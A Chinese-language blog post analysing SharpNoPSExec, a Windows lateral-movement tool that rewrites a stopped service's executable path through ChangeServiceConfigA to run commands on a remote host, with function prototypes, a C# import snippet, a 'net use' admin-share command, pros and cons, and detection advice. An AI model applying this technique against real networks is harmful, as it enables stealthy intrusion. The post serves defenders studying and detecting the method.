• 新型横向移动工具原理分析、代码分析、优缺点以及检测方案


    新横向移动工具:

    Twitter上看到新的横移工具,无需创建服务、无需文件落地,远比PsExec来的难以检测,我们针对这一工具进行原理分析、代码分析、优缺点评估以及检测方案:

    • 工具名称:SharpNoPSExec
    • 工具作者:juliourena
    • 下载地址:SharpNoPSExec
    • 本人修改Python简单版本的下载地址:PyNoPSExec

    基本原理分析:

    Windows服务中,每一服务都有一个可执行文件路径,这个地方可以替换成命令进行命令执行,而且这个可以远程管理,当然这里肯定需要管理员权限,不然就成了RCE漏洞了。

    我们可以远程写代码去寻找到一个处于不启动、需要手动启动,没有其他依赖关系的服务,改变这个可执行文件路径,从而执行我们的命令。

    代码分析:

    先介绍一下几个关键函数

    OpenSCManagerW:

    SC_HANDLE OpenSCManagerW(
     LPCWSTR lpMachineName,
     LPCWSTR lpDatabaseName,
     DWORD dwDesiredAccess
    );
    

    小贴士:如果第一个参数填写的是对端也就是横移目标的IP地址或机器名,需要首先在运行程序以前建立一个管理员权限,不仅仅需要知道账号密码,如何建立呢,答案也简单,建立一个共享映射

    net use \xx.xx.xx.xxadmin$ "password" /user:username
    

    然后调用两个函数LogonUserA进行凭据认证,然后进行权限模拟,还是调用我们的老朋友:ImpersonateLoggedOnUser。该函数允许用户模拟其他用户的权限进行一些操作。

    ChangeServiceConfig:

    函数原型:

    BOOL ChangeServiceConfigA(
      SC_HANDLE hService,
      DWORD     dwServiceType,
      DWORD     dwStartType,
      DWORD     dwErrorControl,
      LPCSTR    lpBinaryPathName,
      LPCSTR    lpLoadOrderGroup,
      LPDWORD   lpdwTagId,
      LPCSTR    lpDependencies,
      LPCSTR    lpServiceStartName,
      LPCSTR    lpPassword,
      LPCSTR    lpDisplayName
    );
    

    当然需要先导入函数:

    [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
    int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
    string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
    string lpDisplayName);
    

    修改举例:

    string payload = "notepad.exe";
    bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
    null, null, null, null);
    

    然后开启服务

    函数原型:

    BOOL StartServiceA(
     SC_HANDLE hService,
     DWORD dwNumServiceArgs,
     LPCSTR *lpServiceArgVectors
    );
    

    流程分析:

    登录用户 —–> 打开远程服务 —–> 设置服务执行程序为我们的 payload —–> 开启服务
    

    程序源代码:

    然后给出源代码

    测试:

    • 案例一 上线

    • 案例二 远程执行命令

    优缺点评测:

    • 优点:
      • 无文件落地
      • 无服务创建
    • 缺点:
      • 敏感操作,主防拦截
      • 横向移动需要建立共享(检测异常共享可以检测到)
      • 速度很慢,至少我们测试的速度很慢

    检测方案建议:

    • 将远程服务查询和修改列为敏感操作,在主防中进行配置,或者在自研后者采购HIDS时候提出该功能需求。
    • HIDS HOOK 敏感函数进行检测ChangeServiceConfigA
    • 检测异常共享或者IPC通信
    • 检测进程启动异常(尤其是 事件ID 7009 程序异常ERROR 1053)
